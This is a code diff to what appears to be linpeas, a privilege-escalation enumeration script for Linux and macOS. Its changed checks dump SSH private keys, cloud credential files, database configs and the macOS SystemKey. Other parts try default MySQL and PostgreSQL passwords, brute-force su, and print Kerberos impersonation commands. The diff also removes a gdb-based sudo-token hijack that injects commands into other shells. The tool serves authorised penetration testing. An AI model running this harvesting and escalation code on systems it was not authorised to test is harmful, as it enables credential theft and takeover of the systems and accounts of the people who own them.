'"' -f 2) fi if [ -w "$program" ]; then echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},"; @@ -2419,12 +2736,12 @@ printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do fi done relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/") - relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null | grep -Ev "/[a-zA-Z0-9_]+/") + relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null) if [ "$relpath1" ] || [ "$relpath2" ]; then if [ "$WRITABLESYSTEMDPATH" ]; then - echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},"; + echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},"; else - echo "$s is executing some relative path" + echo "$s could be executing some relative path" fi fi fi @@ -2495,6 +2812,7 @@ if ! [ "$IAMROOT" ]; then if ! [ "$unix_scks_list" ];then unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) fi + unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/") fi if ! [ "$SEARCH_IN_FOLDER" ]; then @@ -2505,7 +2823,7 @@ if ! [ "$IAMROOT" ]; then fi # Detele repeated dockets and check permissions - (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do + (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do perms="" if [ -r "$l" ]; then perms="Read " @@ -2619,7 +2937,7 @@ fi #-- NI) Interfaces print_2title "Interfaces" cat /etc/networks 2>/dev/null -(ifconfig || ip a) 2>/dev/null +(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null echo "" #-- NI) Neighbours @@ -2649,7 +2967,7 @@ fi #-- NI) Ports print_2title "Active Ports" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports" -( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED}," +( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g" echo "" #-- NI) MacOS hardware ports @@ -2820,7 +3138,7 @@ if [ "$MACPEAS" ];then print_2title "SystemKey" ls -l /var/db/SystemKey - if [ -r "/var/db/SystemKey" ]; then + if [ -r "/var/db/SystemKey" ]; then echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},"; hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi @@ -2863,10 +3181,10 @@ fi if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi -for filename in '/etc/sudoers.d/*'; do +for filename in /etc/sudoers.d/*; do if [ -r "$filename" ]; then echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" - grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" + grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" fi done echo "" @@ -2875,35 +3193,37 @@ echo "" print_2title "Checking sudo tokens" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" -if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g"; -else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; -fi -is_gdb="$(command -v gdb 2>/dev/null)" -if [ "$is_gdb" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; -else echo "gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it" | sed "s,gdb,${SED_GREEN},g"; -fi -if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then - echo "Checking for sudo tokens in other shells owned by current user" - for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" 2>/dev/null | grep -v "^$$\$"); do - echo "Injecting process $pid -> "$(cat "/proc/$pid/comm" 2>/dev/null) - echo 'call system("echo | sudo -S touch /tmp/shrndom32r2r >/dev/null 2>&1 && echo | sudo -S chmod 777 /tmp/shrndom32r2r >/dev/null 2>&1")' | gdb -q -n -p "$pid" >/dev/null 2>&1 - if [ -f "/tmp/shrndom32r2r" ]; then - echo "Sudo token reuse exploit worked with pid:$pid! (see link)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; - break - fi - done - if [ -f "/tmp/shrndom32r2r" ]; then - rm -f /tmp/shrndom32r2r 2>/dev/null - else echo "The escalation didn't work... (try again later?)" +if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then + echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g"; + + if [ "$(command -v gdb 2>/dev/null)" ]; then + echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; fi + + if [ "$CURRENT_USER_PIVOT_PID" ]; then + echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g"; + fi + + if [ -f "$HOME/.sudo_as_admin_successful" ]; then + echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},"; + fi + + if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then + echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g"; + ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' + fi + +else + echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; + fi echo "" #-- UI) Doas -if [ "$(command -v doas 2>/dev/null)" ] || [ "$DEBUG" ]; then +if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then print_2title "Checking doas.conf" doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null) - if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then + if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," else echo_not_found "doas.conf" fi @@ -3007,8 +3327,7 @@ if [ "$EXTRA_CHECKS" ]; then fi #-- UI) Brute su -EXISTS_SUDO="$(command -v sudo 2>/dev/null)" -if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && [ "$EXISTS_SUDO" ]; then +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC POSSIBE_SU_BRUTE=$(check_if_su_brute); if [ "$POSSIBE_SU_BRUTE" ]; then @@ -3021,7 +3340,7 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && printf $GREEN"It's not possible to brute-force su.\n\n"$NC fi else - print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC + print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC fi print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC @@ -3079,7 +3398,7 @@ if [ "$MACPEAS" ]; then done fi -#-- SI) Mysql version +#-- SI) MySQL version if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then print_2title "MySQL version" mysql --version 2>/dev/null || echo_not_found "mysql" @@ -3090,7 +3409,7 @@ if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; echo "" echo "" - #-- SI) Mysql connection root/root + #-- SI) MySQL connection root/root print_list "MySQL connection using default root/root ........... " mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null) if [ "$mysqlconnect" ]; then @@ -3099,7 +3418,7 @@ if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; else echo_no fi - #-- SI) Mysql connection root/toor + #-- SI) MySQL connection root/toor print_list "MySQL connection using root/toor ................... " mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null) if [ "$mysqlconnect" ]; then @@ -3108,7 +3427,7 @@ if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; else echo_no fi - #-- SI) Mysql connection root/NOPASS + #-- SI) MySQL connection root/NOPASS mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null) print_list "MySQL connection using root/NOPASS ................. " if [ "$mysqlconnectnopass" ]; then @@ -3119,7 +3438,7 @@ if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; echo "" fi -#-- SI) Mysql credentials +#-- SI) MySQL credentials if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then print_2title "Searching mysql credentials and exec" printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do @@ -3163,9 +3482,9 @@ if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then done fi - mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so") + mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so") if [ "$mysqlexec" ]; then - echo "Found $mysqlexec" + echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)" echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED}," fi done @@ -3174,8 +3493,8 @@ echo "" if [ "$PSTORAGE_MARIADB" ] || [ "$DEBUG" ]; then print_2title "Analyzing MariaDB Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"mariadb\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mariadb.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "mariadb\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mariadb\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"debian\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "debian.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "debian\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,debian\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "user.*|password.*" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"mariadb\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mariadb.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "mariadb\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mariadb\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"debian\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "debian.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "debian\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,debian\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*" | sed -${E} "s,user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*,${SED_RED},g"; done; echo ""; fi @@ -3186,12 +3505,13 @@ if [ "$PSTORAGE_POSTGRESQL" ] || [ "$DEBUG" ]; then if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pg_hba.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pg_hba\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postgresql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "postgresql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgsql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgsql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin4\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin4.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin4\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgadmin4\.db$,${SED_RED},"; done; echo ""; fi #-- SI) PostgreSQL brute if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it. -#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this +# Checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ " if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," else echo_no @@ -3375,7 +3695,8 @@ if [ "$PSTORAGE_SSH" ] || [ "$DEBUG" ]; then if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_rsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_rsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"known_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "known_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "known_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_keys"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_keys"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,command=.*,${SED_RED},g" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"\.pub$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pub"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "\.pub$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pub$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "command=.*" | sed -${E} "s,command=.*,${SED_RED},g"; done; echo ""; fi @@ -3388,7 +3709,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) else - privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout + privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) # If there is tons of files linpeas gets frozen here without a timeout privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) fi else @@ -3461,7 +3782,7 @@ echo "" if [ "$PSTORAGE_PAM_AUTH" ] || [ "$DEBUG" ]; then print_2title "Analyzing PAM Auth Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PAM_AUTH\" | grep -E \"pam\.d$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pam.d"; fi; fi; printf "%s" "$PSTORAGE_PAM_AUTH" | grep -E "pam\.d$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pam\.d$,${SED_RED},"; find "$f" -name "sshd" | while read ff; do ls -ld "$ff" | sed -${E} "s,sshd,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i "auth" | grep -Ev "^#|^@" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_PAM_AUTH\" | grep -E \"pam\.d$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pam.d"; fi; fi; printf "%s" "$PSTORAGE_PAM_AUTH" | grep -E "pam\.d$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pam\.d$,${SED_RED},"; find "$f" -name "sshd" | while read ff; do ls -ld "$ff" | sed -${E} "s,sshd,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|^@" | sed -${E} "s,auth|accessfile=|secret=|user,${SED_RED},g"; done; echo "";done; echo ""; fi @@ -3475,23 +3796,28 @@ fi if [ "$PSTORAGE_NFS_EXPORTS" ] || [ "$DEBUG" ]; then print_2title "Analyzing NFS Exports Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_NFS_EXPORTS\" | grep -E \"exports$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "exports"; fi; fi; printf "%s" "$PSTORAGE_NFS_EXPORTS" | grep -E "exports$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,exports$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,insecure,${SED_RED},g" | sed -${E} "s,no_root_squash|no_all_squash,${SED_RED_YELLOW},g"; done; echo ""; + nfsmounts=`cat /proc/mounts 2>/dev/null | grep nfs`; if [ "$nfsmounts" ]; then echo -e "Connected NFS Mounts: \n$nfsmounts"; fi + if ! [ "`echo \"$PSTORAGE_NFS_EXPORTS\" | grep -E \"exports$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "exports"; fi; fi; printf "%s" "$PSTORAGE_NFS_EXPORTS" | grep -E "exports$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,exports$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,insecure|rw|nohide,${SED_RED},g" | sed -${E} "s,no_root_squash|no_all_squash,${SED_RED_YELLOW},g"; done; echo ""; fi #-- SI) Kerberos kadmin_exists="$(command -v kadmin)" klist_exists="$(command -v klist)" -if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then +kinit_exists="$(command -v kinit)" +if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then print_2title "Searching kerberos conf files and tickets" print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory" if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi + if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g"; else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g"; fi + + (env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g" printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do if [ -r "$f" ]; then @@ -3505,8 +3831,8 @@ if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do if [ "$l" ] && echo "$l" | grep -q "@"; then printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g" - #kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid - #We could also try to create a new user or modify a password, but I'm not user if linpeas should do that + # kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid + # We could also try to create a new user or modify a password, but I'm not user if linpeas should do that fi done elif echo "$f" | grep -q krb5.conf; then @@ -3533,6 +3859,14 @@ if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ fi +if [ "$PSTORAGE_FREEIPA" ] || [ "$DEBUG" ]; then + print_2title "Analyzing FreeIPA Files (limit 70)" + ipa_exists="$(command -v ipa)"; if [ "$ipa_exists" ]; then print_info "https://book.hacktricks.xyz/linux-hardening/freeipa-pentesting"; fi + if ! [ "`echo \"$PSTORAGE_FREEIPA\" | grep -E \"ipa$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipa"; fi; fi; printf "%s" "$PSTORAGE_FREEIPA" | grep -E "ipa$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipa$,${SED_RED},"; find "$f" -name "default.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,default.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_FREEIPA\" | grep -E \"dirsrv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "dirsrv"; fi; fi; printf "%s" "$PSTORAGE_FREEIPA" | grep -E "dirsrv$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,dirsrv$,${SED_RED},"; find "$f" -name "id2rntry.db" | while read ff; do ls -ld "$ff" | sed -${E} "s,id2rntry.db,${SED_RED},"; done; echo "";done; echo ""; +fi + + if [ "$PSTORAGE_KNOCKD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Knockd Files (limit 70)" if ! [ "`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*knockd*"; fi; fi; printf "%s" "$PSTORAGE_KNOCKD" | grep -E "knockd.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; @@ -3626,6 +3960,8 @@ fi if [ "$PSTORAGE_REDIS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Redis Files (limit 70)" + ( redis-server --version || echo_not_found "redis-server") 2>/dev/null + if [ "`redis-cli INFO 2>/dev/null`" ] && ! [ "`redis-cli INFO 2>/dev/null | grep -i NOAUTH`" ]; then echo "Redis isn't password protected" | sed -${E} "s,.*,${SED_RED},"; fi if ! [ "`echo \"$PSTORAGE_REDIS\" | grep -E \"redis\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "redis.conf"; fi; fi; printf "%s" "$PSTORAGE_REDIS" | grep -E "redis\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,redis\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,masterauth.*|requirepass.*,${SED_RED},g"; done; echo ""; fi @@ -3670,13 +4006,22 @@ if [ "$PSTORAGE_CLOUD_CREDENTIALS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cloud Credentials Files (limit 70)" if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,legacy_credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E 